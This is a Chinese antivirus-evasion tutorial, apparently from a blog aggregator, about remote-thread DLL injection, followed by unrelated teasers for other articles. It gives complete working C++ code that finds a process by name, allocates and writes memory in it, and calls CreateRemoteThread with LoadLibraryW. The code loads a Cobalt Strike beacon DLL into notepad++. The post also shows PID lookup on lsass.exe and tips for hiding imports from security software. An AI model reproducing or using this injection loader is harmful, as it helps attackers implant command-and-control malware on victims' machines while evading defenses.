当前位置: 首页 > news >正文

免杀笔记 ----> DLL注入

这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力!!!

   :今天我们讲DLL注入

目录

1.DLL注入

2.直接加载DLL?

3.远程线程注入

获取Handle

远程申请内存空间

将我们的CS的DLL加载入内存

创建远程线程,Load上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

4.GetProcessPID

5.打开空间

6.申请远程内存

7.CS上线DLL写入内存

8.获取LoadLibrary地址

9.创建线程

10.等待线程结束,释放DLL空间,关闭句柄

11.最终代码


1.DLL注入

DLL注入,也叫做远程线程注入!

DLL(Dynamic Link Library)注入是一种技术,它允许一个进程向另一个进程中注入一个动态链接库(DLL)。这种技术通常用于软件开发和系统管理,但也可能被恶意软件用来实现特定目的。

这里说明一个东西先,不知道大家有没有好奇过,为什么我并没有load user32.dll 却可以使用MessageBoxA这样的函数???  

那是因为我们包含了Windows.h这样的头文件(不信你试试不包含,绝对报错!)

在Windows平台上,Windows.h头文件是包含了大量Windows API的头文件之一,它会在编译时引入所有必要的声明和定义,包括user32.dll中的函数声明。

所以如果你去查看这个程序的导出表的时候,是能看得见user32.dll这个DLL的(就算你没有手动去LoadLibrary)

2.直接加载DLL?

有人就会想了,我们直接去我们自己写一个C语言,然后LoadLibrary不就好了吗!!! 

然后现实生活中也确实可以如此!!!  我们来演示一下

   先去生成一个上线DLL 

然后我们直接写一个C代码(不能让他结束,否则ShellCode的内存资源就被释放了)

其中下面的那个DLL,是我们上线的DLL

int main()
{LoadLibrary(L"C:\\Users\\ASUS\\Desktop\\inject.dll");while (1){//DoNothing}return 0;
}

我们是能够成功的看见上线的

我们还可以通过Process Monitor去查看,是能看见这个DLL的

但是,有用吗,你也不看看这是一个什么程序

 :既不是UAC白名单,又没有数字签名,还直接LoadLibary,你当杀软不存在?

所以即使上面的方法是能上线的,我们也不会去这样直接加载我们的上线的DLL! 

3.远程线程注入

既然我们不想本地加载我们的DLL,那我们就只能远程加载了,因此DLL注入也被称为远程线程注入 !!!! 

那么我们应该怎么去进行远程线程注入呢???  有以下的步骤

  1. 获取进程的句柄(Handle)
  2. 远程申请内存空间
  3. 将我们的CS上线DLL加载入内存 
  4. 获取Loadlibrary的地址
  5. 创建远程线程,load上线DLL
  6. 等待远程线程结束
  7. 释放DLL空间
  8. 关闭线程句柄

下面我们来一步一步介绍一下这个过程

获取Handle

首先我们就是获取一个已经正在运行的EXE的句柄,便于我们后续去操作

远程申请内存空间

这里我们会远程申请一个内存空间

将我们的CS的DLL加载入内存

这里可能会有点迷惑,就是为什么我们需要将DLL写入我们的内存之中呢? 

其实就是因为没有RemoteLoadLibrary这样的操作,我们不能让别人的EXE直接LoadLibrary!

创建远程线程,Load上线DLL

我们不能远程LoadLibrary,但是我们可以远程创建线程去Load我们的上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

然后就是等待远程线程结束了,释放DLL空间,关闭线程句柄

4.GetProcessPID

其实这不是一个标准的函数,是我们自己写的!! 用来通过进程名获取对应的PID

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}

不过运行这个函数我们还得包含一个头文件Tlhelp32.h!! 下面我们来获取一下lsass进程的PID

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}int main()
{cout << "Lsass进程的PID是: " << GetProcessPID(L"lsass.exe") << endl;return 0;
}

其中由于编码问题,我们的GetProcePID接受的字符串需要我们手动在他前面加上一个L

然后我们去运行查看效果

我们去cmd查看,发现也是1348

这样,我们就能获取到我们想要注入程序的PID了

5.打开空间

首先我们就要通过OpenProcess来获取我们句柄Handle

OpenProcess 是一个Windows API函数,用于打开一个已存在的进程并返回进程的句柄。通过这个句柄,可以执行一系列操作,比如读取或修改进程的内存,获取进程的信息等。

所以我们的代码就可以这么写

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

首先OpenProcess接受三个参数,一个是对当前的进程的权限(这里我给了ALL,实际上有可能会被杀软监控),然后就是是否继承,这里我们直接写False就好了,最后一个就是该进程的PID,这里我们就用我们刚才找到的PID即可!!!

最好我们可以写一个判断圈内玩免杀的人都这样,不过也可以理解,否则运行一个EXE啥也没有,感觉有点干涩)

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (OriginalProcessHandle == NULL)
{cout << "Get originalprocesshandle failed :(" << endl;
}
else {cout << "Get originalprocesshandle successfully :)" << endl;
}

6.申请远程内存

这里我们就要用到VirtualAllocEx这个函数远程申请内存空间了

DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (RemoteMemory == NULL)
{cout << "VritualAlloc Address Falied :(" << endl;
}else {cout << "VirtualAlloc Address successfully :)" << endl;
}

首先我们先不管那个length,我们来看看VirtualAllocEx的参数,第一个就是我们上面获取到的Handle,然后就是NULL,接着就是我们DLL路径的length,然后MEM_COMMIT和PAGE_EXECUTE_READWRITE就和普通的VirtualAlloc一样

这里我觉得有要说一下的,就是那个Length是DLL的路径长度,又应为那个长度是以两个字节在内存中存储的,所以我们要*sizeif(tchar)

这里并不是说把DLL的内容加载到了内存中,而是将DLL的路径当作副本加载入内存,方便我们后面LoadLibrary!!!

7.CS上线DLL写入内存

这里我们用WirteProcessMemory,还是先贴代码

BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
if (WriteStatus == 0)
{cout << "Write CS's DLL into memory failed :(" << endl;
}else
{cout << "Write CS's DLL into memory successfully :)" << endl;
}

第一个参数是句柄,然后就是远程的虚拟地址,然后就是我们的DLL的地址,长度,NULL

8.获取LoadLibrary地址

其实这里我们完全可以不用这一步,直接创建线程LoadLibrary,但是为了在导入表不那么明显,我们还是低配的隐藏一下(GetProcessAddress还是暴露了)

FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibrary");

这里我们用函数指针类型(FARPOC)来接收,GetProcAddress接受两个参数,一个是目标DLL的句柄,一个就是导出函数的名称!! 

那么我们既然想绕开Loadlibrary, 我们就要用GetModuleHandle来获取Kernel32的句柄,并且在Kernerl32中找到Loadlibrary这个函数,并且返回函数地址! 

9.创建线程

还是来先贴一段代码

	HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "Remote thread create failed :(" << endl;return;}else {cout << "Remote thread create successfully :)" << endl;}

CreateRemoteThread接受三个参数 ,注入程序的Handle ,NULL,0,指向线程函数的指针,即要在线程中执行的代码的入口点(需要强制类型转换!),远程申请到的地址,0,NULL

通过上面的这个代码,我们就能为远程的程序创建到一个线程!!!

10.等待线程结束,释放DLL空间,关闭句柄

这三个就没什么好说的了吧!

 //6.等待线程结束
WaitForSingleObject(RemoteHandle, -1);//7.释放DLL空间
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.关闭句柄
CloseHandle(OriginalProcessHandle);

最后就是将上面的一众API封装成为一个函数,并且传入两个参数,一个是进程的API,一个就是我们的DLL路径

void DLLInject(DWORD pid,LPCWSTR dllpath)

其中LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。

11.最终代码

然后就是我们的成品代码了!!! 

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。//1.获取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle == NULL){cout << "Get originalprocesshandle failed :(" << endl;return;}else {cout << "Get originalprocesshandle successfully :)" << endl;}//2.远程申请内存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "VritualAlloc Address Falied :(" << endl;return;}else {cout << "VirtualAlloc Address successfully :)" << endl;} //3.将CS上线的DLL写入内存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus == 0){cout << "Write CS's DLL into memory failed :(" << endl;return;}else{cout << "Write CS's DLL into memory successfully :)" << endl;}//4.获取LoadLibrary地址FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.创建线程HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "Remote thread create failed :(" << endl;return;}else {cout << "Remote thread create successfully :)" << endl;}//6.等待线程结束WaitForSingleObject(RemoteHandle, -1);//7.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.关闭句柄CloseHandle(OriginalProcessHandle);cout << "DL1 inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int main()
{DWORD PID = GetProcessPID(L"notepad++.exe");DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");return 0;
}

这里我选择注入的是Notepad++你们当然也可以注别的,不过要注意权限噢!!! 

成果展示(记得先打开Notepad++)

当然了,我们后面再把从CMD获取DLL的路径,以及程序名字的功能完善之后,我就把他扔到Github上

相关文章:

免杀笔记 ----> DLL注入

这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力&#xff01;&#xff01;&#xff01; &#xff1a;今天我们讲DLL注入 目录 1.DLL注入 2.直接加载DLL&#xff1f; 3.远程线程注入 获取Handle 远程申请内存空间 将我们的CS的DLL加载入内存 创建远程线…...

奇迹MU 骷髅战士在哪

BOSS分布图介绍 我为大家带来各地区怪物分布图。在游戏前期&#xff0c;很多玩家可能会不知道该去哪里寻找怪物&#xff0c;也不知道哪些怪物值得打。如果选择了太强的怪物&#xff0c;弱小的玩家可能会无法抵御攻击。如果选择了低等级的boss&#xff0c;收益可能并不理想。所…...

leetcode力扣_贪心思想

455.分发饼干&#xff08;easy-自己想得出来并写好&#xff09; 假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。对每个孩子 i&#xff0c;都有一个胃口值 g[i]&#xff0c;这是能让孩子们满足胃口的饼干的最小尺…...

Vue中Class数据绑定

Class数据绑定 数据绑定的一个常见需求场景是操作CSS class列表&#xff0c;因为class是attribute&#xff08;属性&#xff09;&#xff0c;我们可以和其他attribute一样使用v-bind 将它们和动态的字符串绑定。但是&#xff0c;在处理比较复杂的绑定时&#xff0c;通过拼接生…...

Python数据分析案例49——基于机器学习的垃圾邮件分类系统构建(朴素贝叶斯,支持向量机)

案例背景 trec06c是非常经典的邮件分类的数据&#xff0c;还是难能可贵的中文数据集。 这个数据集从一堆txt压缩包里面提取出来整理为excel文件还真不容不易&#xff0c;肯定要做一下文本分类。 虽然现在文本分类基本都是深度学习了&#xff0c;但是传统的机器学习也能做。本案…...

贪心算法-以学籍管理系统为例

1.贪心算法介绍 1.算法思路 贪心算法的基本思路是从问题的某一个初始解出发一步一步地进行&#xff0c;根据某个优化测度&#xff0c;每一 步都要确保能获得局部最优解。每一步只考虑一 个数据&#xff0c;其选取应该满足局部优化的条件。若下 一个数据和部分最优解连在一起…...

PyCharm 安装

PyCharm是一种流行的Python集成开发环境&#xff08;IDE&#xff09;&#xff0c;由JetBrains公司开发。它提供了丰富的功能&#xff0c;如智能代码补全、实时错误检查、项目导航、调试工具以及版本控制等&#xff0c;极大地提高了Python开发人员的工作效率。以下是PyCharm安装…...

C++:对象指针访问成员函数

使用箭头操作符 (->)&#xff1a;ptr->function() 是最常用和推荐的方式&#xff0c;因为它更简洁、更直观。箭头操作符 (->) 被设计为与点操作符 (.) 配合指针一起使用&#xff0c;以便通过指针访问对象的成员。 先解引用指针&#xff0c;然后使用点操作符 (.)&…...

Linux 防火墙配置指南:firewalld 端口管理应用案例(二十个实列)

&#x1f3e1;作者主页&#xff1a;点击&#xff01; &#x1f427;Linux基础知识(初学)&#xff1a;点击&#xff01; &#x1f427;&#x1f427;Linux高级管理专栏&#xff1a;点击&#xff01; &#x1f510;Linux中firewalld防火墙&#xff1a;点击&#xff01; ⏰️…...

推荐Bulk Image Downloader插件下载网页中图片链接很好用

推荐&#xff1a;Bulk Image Downloader chome浏览器插件下载图片链接&#xff0c;很好用。 有个网页&#xff0c;上面放了数千的gif的电路图&#xff0c;手工下载会累瘫了不可。想找一个工具分析它的静态链接并下载&#xff0c;找了很多推荐的下载工具&#xff0c;都是不能分…...

详解前缀码与前缀编码

前缀编码是一种数据压缩技术&#xff0c;也被称为可变长度编码。它的基本原理是将频繁出现的字符或字符序列用较短的编码表示&#xff0c;而较少出现的字符或字符序列用较长的编码表示&#xff0c;从而达到压缩数据的目的。 概念定义 前缀码&#xff1a;给定一个编码序列的集合…...

数据库管理工具 -- Navicat Premium v17.0.8 特别版

软件简介 Navicat Premium 是一款功能强大的数据库管理工具&#xff0c;适用于Windows、Mac和Linux平台。它支持多种数据库&#xff0c;包括MySQL、MariaDB、SQL Server、PostgreSQL、Oracle、SQLite等。用户可以通过Navicat Premium轻松地连接到各种数据库服务器&#xff0c;…...

【Linux】进程创建和终止 | slab分配器

进程创建 fork 1.fork 之后发生了什么 将给子进程分配新的内存块和内核数据结构&#xff08;形成了新的页表映射&#xff09;将父进程部分数据结构内容拷贝至子进程添加子进程到系统进程列表当中fork 返回&#xff0c;开始调度器调度 这样就可以回答之前返回两个值&#xff1f…...

计算机网络--网络层

一、网络层的服务和功能 网络层主要为应用层提供端对端的数据传输服务 网络层接受运输层的报文段&#xff0c;添加自己的首部&#xff0c;形成网络层分组。分组是网络层的传输单元。网络层分组在各个站点的网络层之间传输&#xff0c;最终到达接收方的网络层。接收方网络层将运…...

【CSS】如何实现分栏布局

在CSS分栏布局中&#xff0c;设置宽度和样式是一个基本且重要的步骤。这可以通过直接应用样式到列元素&#xff08;通常是div元素&#xff09;上来实现。以下是一些常用的方法来设置分栏布局的宽度和样式&#xff1a; 1. 使用百分比宽度 使用百分比宽度可以使列的大小相对于其…...

2025湖北武汉智慧教育装备信息化展/智慧校园展/湖北高博会

2025武汉教育装备展,2025武汉智慧教育展,2025武汉智慧校园展,2025武汉教育信息化展,2025武汉智慧教室展,湖北智慧校园展,湖北智慧教室展,武汉教学设备展,湖北高教会,湖北高博会 2025湖北武汉智慧教育装备信息化展/智慧校园展/湖北高博会 2025第10届武汉国际教育装备及智慧校园…...

Android Studio Run窗口中文乱码解决办法

Android Studio Run窗口中文乱码解决办法 问题描述&#xff1a; AndroidStudio 编译项目时Run窗口中文乱码&#xff0c;如图&#xff1a; 解决方法&#xff1a; 依次打开菜单&#xff1a;Help--Edit Custom VM Options&#xff0c;打开studio64.exe.vmoptions编辑框&#xf…...

代码随想录——划分字母区间(Leetcode763)

题目链接 贪心 class Solution {public List<Integer> partitionLabels(String s) {int[] count new int[27];Arrays.fill(count,0);// 统计元素最后一次出现的位置for(int i 0; i < s.length(); i){count[s.charAt(i) - a] i;}List<Integer> res new Ar…...

SQL注入方法

文章目录 前言如何测试与利用注入点手工注入思路工具sqlmap-r-u-m--level--risk-v-p--threads-batch-smart--os-shell--mobiletamper插件获取数据的相关参数 前言 记录一些注入思路和经常使用的工具&#xff0c;后续有用到新的工具和总结新的方法再继续补充。 如何测试与利用注…...

Vue表单输入绑定v-model

表单输入绑定 在前端处理表单时&#xff0c;我们常常需要将表单输入框的内容同步给Javascript中相应的变量。手动连接绑定和更改事件监听器可能会很麻&#xff0c;v-model 指令帮我们简化了这一步骤。 <template><h3>表单输入绑定</h3><hr> <inpu…...

Python|GIF 解析与构建(5):手搓截屏和帧率控制

目录 Python&#xff5c;GIF 解析与构建&#xff08;5&#xff09;&#xff1a;手搓截屏和帧率控制 一、引言 二、技术实现&#xff1a;手搓截屏模块 2.1 核心原理 2.2 代码解析&#xff1a;ScreenshotData类 2.2.1 截图函数&#xff1a;capture_screen 三、技术实现&…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

无法与IP建立连接,未能下载VSCode服务器

如题&#xff0c;在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈&#xff0c;发现是VSCode版本自动更新惹的祸&#xff01;&#xff01;&#xff01; 在VSCode的帮助->关于这里发现前几天VSCode自动更新了&#xff0c;我的版本号变成了1.100.3 才导致了远程连接出…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

Linux离线(zip方式)安装docker

目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1&#xff1a;修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本&#xff1a;CentOS 7 64位 内核版本&#xff1a;3.10.0 相关命令&#xff1a; uname -rcat /etc/os-rele…...